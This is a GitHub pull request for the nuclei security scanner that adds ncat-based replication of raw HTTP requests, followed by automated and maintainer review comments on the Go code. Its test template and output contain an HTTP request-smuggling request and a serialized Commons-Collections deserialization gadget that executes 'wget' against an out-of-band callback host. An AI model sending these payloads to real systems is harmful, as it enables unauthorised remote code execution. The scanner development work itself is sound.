Skip to content

Conversation

@cn-kali-team
Copy link
Contributor

@cn-kali-team cn-kali-team commented May 31, 2024

Proposed changes

Checklist

  • Pull request is created against the dev branch
  • All checks passed (lint, unit/integration/regression tests etc.) with my changes
  • I have added tests that prove my fix is effective or that my feature works
  • I have added necessary documentation (if appropriate)

Template:

id: test

info:
  name: Ncat Command Test
  author: x
  severity: high
  description: |
    Ncat Command Test Template
  metadata:
    verified: true
    max-request: 1
  tags: raw

http:
  - raw:
      - |+
        GET /test1 HTTP/1.1
        Host: 192.168.83.196:8081
        Content-Length: 42
        Transfer-Encoding: chunked

        0
        
        GET /test1 HTTP/1.1
        Host: 192.168.83.196:8081
        X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

        {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "raw")}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c'

Test Run:

go run cmd/nuclei/main.go --duc -t /home/kali-team/test.yaml -u http://127.0.0.1:9015 -irr -j | jq -r '."curl-command"'

Output

printf 'GET /test1 HTTP/1.1\r\n'\
'Host: 192.168.83.196:8081\r\n'\
'Content-Length: 42\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /test1 HTTP/1.1\r\n'\
'Host: 192.168.83.196:8081\r\n'\
'X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0\r\n'\
'\r\n'\
'\u00ac\u00ed\x00\x05sr\x00\x11java.util.HashSet\u00baD\u0085\u0095\u0096\u00b8\u00b74\x03\x00\x00xpw\f\x00\x00\x00\x02?@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEntry\u008a\u00ad\u00d2\u009b9\u00c1\x1f\u00db\x02\x00\x02L\x00\x03keyt\x00\x12Ljava/lang/Object;L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00&https://github.com/joaomatosf/jexboss sr\x00*org.apache.commons.collections.map.LazyMapn\u00e5\u0094\u0082\u009ey\x10\u0094\x03\x00\x01L\x00\afactoryt\x00,Lorg/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collections.functors.ChainedTransformer0\u00c7\u0097\u00ec(z\u0097\x04\x02\x00\x01[\x00\riTransformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-[Lorg.apache.commons.collections.Transformer;\u00bdV*\u00f1\u00d84\x18\u0099\x02\x00\x00xp\x00\x00\x00\x05sr\x00;org.apache.commons.collections.functors.ConstantTransformerXv\u0090\x11A\x02\u00b1\u0094\x02\x00\x01L\x00\tiConstantq\x00~\x00\x03xpvr\x00\x11java.lang.Runtime\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xpsr\x00:org.apache.commons.collections.functors.InvokerTransformer\u0087\u00e8\u00ffk{|\u00ce8\x02\x00\x03[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\viMethodNamet\x00\x12Ljava/lang/String;[\x00\viParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;\u0090\u00ceX\u009f\x10s)l\x02\x00\x00xp\x00\x00\x00\x02t\x00\ngetRuntimeur\x00\x12[Ljava.lang.Class;\u00ab\x16\u00d7\u00ae\u00cb\u00cdZ\u0099\x02\x00\x00xp\x00\x00\x00\x00t\x00\tgetMethoduq\x00~\x00\x1b\x00\x00\x00\x02vr\x00\x10java.lang.String\u00a0\u00f0\u00a48z;\u00b3B\x02\x00\x00xpvq\x00~\x00\x1bsq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x02puq\x00~\x00\x18\x00\x00\x00\x00t\x00\x06invokeuq\x00~\x00\x1b\x00\x00\x00\x02vr\x00\x10java.lang.Object\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xpvq\x00~\x00\x18sq\x00~\x00\x13ur\x00\x13[Ljava.lang.String;\u00ad\u00d2V\u00e7\u00e9\x1d{G\x02\x00\x00xp\x00\x00\x00\x01t\x007wget http://cpcpj9usep53a5glte30tsb9pq3isa1e8.oast.livet\x00\x04execuq\x00~\x00\x1b\x00\x00\x00\x01q\x00~\x00 sq\x00~\x00\x0fsr\x00\x11java.lang.Integer\x12\u00e2\u00a0\u00a4\u00f7\u0081\u00878\x02\x00\x01I\x00\x05valuexr\x00\x10java.lang.Number\u0086\u00ac\u0095\x1d\v\u0094\u00e0\u008b\x02\x00\x00xp\x00\x00\x00\x01sr\x00\x11java.util.HashMap\x05\a\u00da\u00c1\u00c3\x16`\u00d1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\x00w\b\x00\x00\x00\x10\x00\x00\x00\x00xxx\r\n'\
'\r\n'\
'\r\n'\
|ncat 127.0.0.1 9015

Summary by CodeRabbit

  • New Features
    • More accurate cURL/command generation that uses the original request when available while preserving existing behavior.
    • Added fallback to export commands for unsafe/raw requests, including HTTPS handling and host/port resolution.
    • Generates an ncat-based reproducible command for raw requests when needed.
    • Improved shell-escaping for safer copy/paste and more reliable inclusion of bodies and headers.

@GeorginaReeder
Copy link

Thanks for your contribution @cn-kali-team , we appreciate it!

@Mzack9999 Mzack9999 self-requested a review September 12, 2025 19:23
@dogancanbakir
Copy link
Member

@Mzack9999 fyi

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Oct 9, 2025

Walkthrough

Refactors curl generation to prefer the original generated request when available, and adds an alternate printf|ncat-based path for unsafe/raw requests with URL parsing and shell-escaping; control flow now selects between http2curl and the raw/ncat path.

Changes

Cohort / File(s) Summary
Curl source & control flow
pkg/protocols/http/request.go
Prefer generatedRequest.request.Request as curl source; adjust branches to select standard http2curl path, raw/ncat path, or fallback to resp.Request.
Unsafe/raw request (ncat) path
pkg/protocols/http/request.go
Add assembly of a printf
Shell escaping helper & imports
pkg/protocols/http/request.go
Add bashEscape helper for safe shell quoting of bytes and import net/url to support URL parsing.

Sequence Diagram(s)

sequenceDiagram
  autonumber
  participant Caller
  participant Generator as CurlGenerator
  participant GenReq as generatedRequest
  participant Resp as resp
  participant http2curl as http2curl
  participant ncat as ncat
  Caller->>Generator: GenerateCurlCommand()
  alt generatedRequest present & standard
    Generator->>GenReq: use generatedRequest.request.Request
    Generator->>http2curl: build curl
    http2curl-->>Generator: curl string
  else unsafe/raw request available
    Generator->>Generator: parse URL (net/url), bashEscape(raw bytes)
    Generator->>ncat: assemble printf | ncat command (add -ssl if https)
    ncat-->>Generator: ncat-command string
  else fallback (resp.Request)
    Generator->>Resp: use resp.Request (body preserved if needed)
    Generator->>http2curl: build curl
    http2curl-->>Generator: curl string
  end
  Generator-->>Caller: command string (curl or ncat-command)
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~25 minutes

Poem

I hop through bytes and parse the moon,
I quote each line with careful tune,
When safety hides I'll ncat sing,
Else curl will fetch the proper thing.
— a curious rabbit 🐇

Pre-merge checks and finishing touches

❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. You can run @coderabbitai generate docstrings to improve docstring coverage.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title Check ✅ Passed The title accurately describes the primary enhancement by specifying the addition of an ncat command for raw request replication. It directly reflects the new functionality introduced in the pull request and is clear and concise without unnecessary detail. This phrasing allows reviewers to easily understand the purpose of the changes at a glance. Therefore, the title meets the criteria for clarity and relevance.
✨ Finishing touches
  • 📝 Generate docstrings
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4e2af6b and 6367339.

📒 Files selected for processing (1)
  • pkg/protocols/http/request.go (3 hunks)
🧰 Additional context used
📓 Path-based instructions (2)
**/*.go

📄 CodeRabbit inference engine (CLAUDE.md)

**/*.go: Format Go code using go fmt
Run static analysis with go vet

Files:

  • pkg/protocols/http/request.go
pkg/protocols/**/*.go

📄 CodeRabbit inference engine (CLAUDE.md)

Each protocol implementation must provide a Request interface with methods Compile(), ExecuteWithResults(), Match(), and Extract()

Files:

  • pkg/protocols/http/request.go
🧬 Code graph analysis (1)
pkg/protocols/http/request.go (2)
pkg/protocols/http/raw/raw.go (2)
  • Request (24-32)
  • Parse (35-139)
pkg/protocols/http/http.go (1)
  • Request (35-240)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (3)
  • GitHub Check: Tests (ubuntu-latest)
  • GitHub Check: Tests (macOS-latest)
  • GitHub Check: Tests (windows-latest)

Comment on lines +926 to +934
for _, line := range bytes.Split(unsafeRawBytes, new_line) {
ncat += bashEscape(append(line[:], new_line[:]...))
ncat += "\\\r\n"
}
ncat += "|"
ncat_cmd := []string{"ncat"}
rawurl, err := url.Parse(formedURL)
if err != nil {
ncat_cmd = append(ncat_cmd, "127.0.0.1")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Don't mutate the raw payload before piping it to ncat.

bytes.Split strips the CRLF delimiters, so adding append(line[:], new_line...) reintroduces \r\n even for the final chunk that never had it (e.g., most request bodies). The reproduced payload now contains an extra CRLF, so the bytes you send differ from UnsafeRawBytes, breaking the “replicate raw request” promise. The append(line[:], …) also mutates the backing array for later slices. Please emit the original buffer as-is instead of rebuilding it per line.

-			new_line := []byte{'\r', '\n'}
-			for _, line := range bytes.Split(unsafeRawBytes, new_line) {
-				ncat += bashEscape(append(line[:], new_line[:]...))
-				ncat += "\\\r\n"
-			}
-			ncat += "|"
+			ncat += bashEscape(unsafeRawBytes)
+			ncat += " |"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
for _, line := range bytes.Split(unsafeRawBytes, new_line) {
ncat += bashEscape(append(line[:], new_line[:]...))
ncat += "\\\r\n"
}
ncat += "|"
ncat_cmd := []string{"ncat"}
rawurl, err := url.Parse(formedURL)
if err != nil {
ncat_cmd = append(ncat_cmd, "127.0.0.1")
ncat += bashEscape(unsafeRawBytes)
ncat += " |"
ncat_cmd := []string{"ncat"}
rawurl, err := url.Parse(formedURL)

Comment on lines 937 to 944
if rawurl.Scheme == "https" {
ncat_cmd = append(ncat_cmd, "--ssl")
}
ncat_cmd = append(ncat_cmd, rawurl.Hostname())
ncat_cmd = append(ncat_cmd, rawurl.Port())
}
ncat += strings.Join(ncat_cmd, " ")
curlCommand = ncat
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Provide a port when building the ncat command.

When the template URL omits an explicit port (the common case), rawurl.Port() returns "", so the generated command becomes ncat example.com and exits with “missing port” before the payload is sent. Default to 80/443 (depending on the scheme) and keep appending --ssl only once.

 			ncat_cmd := []string{"ncat"}
 			rawurl, err := url.Parse(formedURL)
 			if err != nil {
 				ncat_cmd = append(ncat_cmd, "127.0.0.1")
 				ncat_cmd = append(ncat_cmd, "80")
 			} else {
-				if rawurl.Scheme == "https" {
-					ncat_cmd = append(ncat_cmd, "--ssl")
-				}
-				ncat_cmd = append(ncat_cmd, rawurl.Hostname())
-				ncat_cmd = append(ncat_cmd, rawurl.Port())
+				port := rawurl.Port()
+				if port == "" {
+					if rawurl.Scheme == "https" {
+						ncat_cmd = append(ncat_cmd, "--ssl")
+						port = "443"
+					} else {
+						port = "80"
+					}
+				} else if rawurl.Scheme == "https" {
+					ncat_cmd = append(ncat_cmd, "--ssl")
+				}
+				ncat_cmd = append(ncat_cmd, rawurl.Hostname(), port)
 			}
 			ncat += strings.Join(ncat_cmd, " ")
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
if rawurl.Scheme == "https" {
ncat_cmd = append(ncat_cmd, "--ssl")
}
ncat_cmd = append(ncat_cmd, rawurl.Hostname())
ncat_cmd = append(ncat_cmd, rawurl.Port())
}
ncat += strings.Join(ncat_cmd, " ")
curlCommand = ncat
ncat_cmd := []string{"ncat"}
rawurl, err := url.Parse(formedURL)
if err != nil {
ncat_cmd = append(ncat_cmd, "127.0.0.1")
ncat_cmd = append(ncat_cmd, "80")
} else {
port := rawurl.Port()
if port == "" {
if rawurl.Scheme == "https" {
ncat_cmd = append(ncat_cmd, "--ssl")
port = "443"
} else {
port = "80"
}
} else if rawurl.Scheme == "https" {
ncat_cmd = append(ncat_cmd, "--ssl")
}
ncat_cmd = append(ncat_cmd, rawurl.Hostname(), port)
}
ncat += strings.Join(ncat_cmd, " ")
curlCommand = ncat
🤖 Prompt for AI Agents
In pkg/protocols/http/request.go around lines 937 to 944, the ncat command
builder appends rawurl.Port() which can be empty and causes "missing port"
errors; change it to compute port := rawurl.Port(); if port == "" { if
rawurl.Scheme == "https" { port = "443" } else { port = "80" } } then append
that port (not an empty string) to ncat_cmd, and ensure "--ssl" is only added
once when the scheme is https (i.e., add --ssl based on scheme before adding
hostname/port).

Comment on lines +1304 to +1318
func bashEscape(b []byte) string {
str := ""
for i := 0; i < len(b); i++ {
if b[i] < 32 || b[i] > 126 {
s := strconv.QuoteToASCII(string(b[i]))
s = strings.TrimPrefix(s, "\"")
s = strings.TrimSuffix(s, "\"")
str += s
} else {
str += string(b[i])
}
}
str = "'" + strings.ReplaceAll(str, "\"", "\\\"") + "'"
return str
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

bashEscape breaks when the payload contains single quotes.

Wrapping everything in '…' without escaping ' means any request carrying an apostrophe (common in JSON, form data, etc.) yields an invalid shell command. Please escape ' (and \) explicitly—ANSI-C $'…' quoting keeps the bytes intact.

-func bashEscape(b []byte) string {
-	str := ""
-	for i := 0; i < len(b); i++ {
-		if b[i] < 32 || b[i] > 126 {
-			s := strconv.QuoteToASCII(string(b[i]))
-			s = strings.TrimPrefix(s, "\"")
-			s = strings.TrimSuffix(s, "\"")
-			str += s
-		} else {
-			str += string(b[i])
-		}
-	}
-	str = "'" + strings.ReplaceAll(str, "\"", "\\\"") + "'"
-	return str
-}
+func bashEscape(b []byte) string {
+	var sb strings.Builder
+	sb.WriteString("$'")
+	for _, ch := range b {
+		switch {
+		case ch == '\'':
+			sb.WriteString("\\'")
+		case ch == '\\':
+			sb.WriteString("\\\\")
+		case ch < 32 || ch > 126:
+			sb.WriteString(fmt.Sprintf("\\x%02x", ch))
+		default:
+			sb.WriteByte(ch)
+		}
+	}
+	sb.WriteByte('\'')
+	return sb.String()
+}
🤖 Prompt for AI Agents
In pkg/protocols/http/request.go around lines 1304–1318, bashEscape currently
wraps the result in single quotes which breaks when the payload contains single
quotes; change it to use ANSI-C quoting ($'...') and ensure single quotes and
backslashes are escaped and non-printable bytes are represented with \xHH
sequences. Concretely: iterate over bytes, append printable ASCII bytes as-is
but convert backslash '\' to "\\\\" and single-quote '\'' to "\\'"; for bytes
outside 0x20–0x7E, append a hex escape like "\\x%02x"; finally return the string
wrapped as "$'"+payload+"'" so the shell preserves the intended bytes.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

♻️ Duplicate comments (3)
pkg/protocols/http/request.go (3)

926-930: Don't mutate the raw payload before piping it to ncat.

bytes.Split strips the CRLF delimiters, so adding append(line[:], new_line...) reintroduces \r\n even for the final chunk that never had it (e.g., most request bodies). The reproduced payload now contains an extra CRLF, so the bytes you send differ from UnsafeRawBytes, breaking the "replicate raw request" promise. The append(line[:], …) also mutates the backing array for later slices.

Apply this diff to emit the original buffer as-is:

-			new_line := []byte{'\r', '\n'}
-			for _, line := range bytes.Split(unsafeRawBytes, new_line) {
-				ncat += bashEscape(append(line[:], new_line[:]...))
-				ncat += "\\\r\n"
-			}
-			ncat += "|"
+			ncat += bashEscape(unsafeRawBytes)
+			ncat += " |"

937-941: Provide a port when building the ncat command.

When the template URL omits an explicit port (the common case), rawurl.Port() returns "", so the generated command becomes ncat example.com and exits with "missing port" before the payload is sent. Default to 80/443 (depending on the scheme) and keep appending --ssl only once.

Apply this diff:

-				if rawurl.Scheme == "https" {
-					ncat_cmd = append(ncat_cmd, "--ssl")
-				}
-				ncat_cmd = append(ncat_cmd, rawurl.Hostname())
-				ncat_cmd = append(ncat_cmd, rawurl.Port())
+				port := rawurl.Port()
+				if port == "" {
+					if rawurl.Scheme == "https" {
+						ncat_cmd = append(ncat_cmd, "--ssl")
+						port = "443"
+					} else {
+						port = "80"
+					}
+				} else if rawurl.Scheme == "https" {
+					ncat_cmd = append(ncat_cmd, "--ssl")
+				}
+				ncat_cmd = append(ncat_cmd, rawurl.Hostname(), port)

1307-1321: bashEscape breaks when the payload contains single quotes.

Wrapping everything in '…' without escaping ' means any request carrying an apostrophe (common in JSON, form data, etc.) yields an invalid shell command. Please escape ' (and \) explicitly—ANSI-C $'…' quoting keeps the bytes intact.

Apply this diff:

-func bashEscape(b []byte) string {
-	str := ""
-	for i := 0; i < len(b); i++ {
-		if b[i] < 32 || b[i] > 126 {
-			s := strconv.QuoteToASCII(string(b[i]))
-			s = strings.TrimPrefix(s, "\"")
-			s = strings.TrimSuffix(s, "\"")
-			str += s
-		} else {
-			str += string(b[i])
-		}
-	}
-	str = "'" + strings.ReplaceAll(str, "\"", "\\\"") + "'"
-	return str
-}
+func bashEscape(b []byte) string {
+	var sb strings.Builder
+	sb.WriteString("$'")
+	for _, ch := range b {
+		switch {
+		case ch == '\'':
+			sb.WriteString("\\'")
+		case ch == '\\':
+			sb.WriteString("\\\\")
+		case ch < 32 || ch > 126:
+			sb.WriteString(fmt.Sprintf("\\x%02x", ch))
+		default:
+			sb.WriteByte(ch)
+		}
+	}
+	sb.WriteByte('\'')
+	return sb.String()
+}
🧹 Nitpick comments (1)
pkg/protocols/http/request.go (1)

917-917: Remove dead resp.Request.Body assignment at pkg/protocols/http/request.go:917. The assignment isn’t used by the curl generation or anywhere else; remove this dead code.

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 6367339 and 84f0dc7.

📒 Files selected for processing (1)
  • pkg/protocols/http/request.go (4 hunks)
🧰 Additional context used
📓 Path-based instructions (2)
**/*.go

📄 CodeRabbit inference engine (CLAUDE.md)

**/*.go: Format Go code using go fmt
Run static analysis with go vet

Files:

  • pkg/protocols/http/request.go
pkg/protocols/**/*.go

📄 CodeRabbit inference engine (CLAUDE.md)

Each protocol implementation must provide a Request interface with methods Compile(), ExecuteWithResults(), Match(), and Extract()

Files:

  • pkg/protocols/http/request.go
🧬 Code graph analysis (1)
pkg/protocols/http/request.go (2)
pkg/protocols/http/raw/raw.go (1)
  • Request (24-32)
pkg/protocols/http/http.go (1)
  • Request (35-240)
🔇 Additional comments (2)
pkg/protocols/http/request.go (2)

1038-1040: LGTM!

The conditional check ensures that ncat-command is only added to the output when it has been successfully generated.


11-11: LGTM!

The net/url import is correctly added to support URL parsing in the ncat command generation logic (line 932).

Copy link
Member

@Mzack9999 Mzack9999 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In case of error parsing the URL we should not default to 127.0.0.1:80 but abort the creation or use a placeholder like:

HOSTNAME:PORT

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants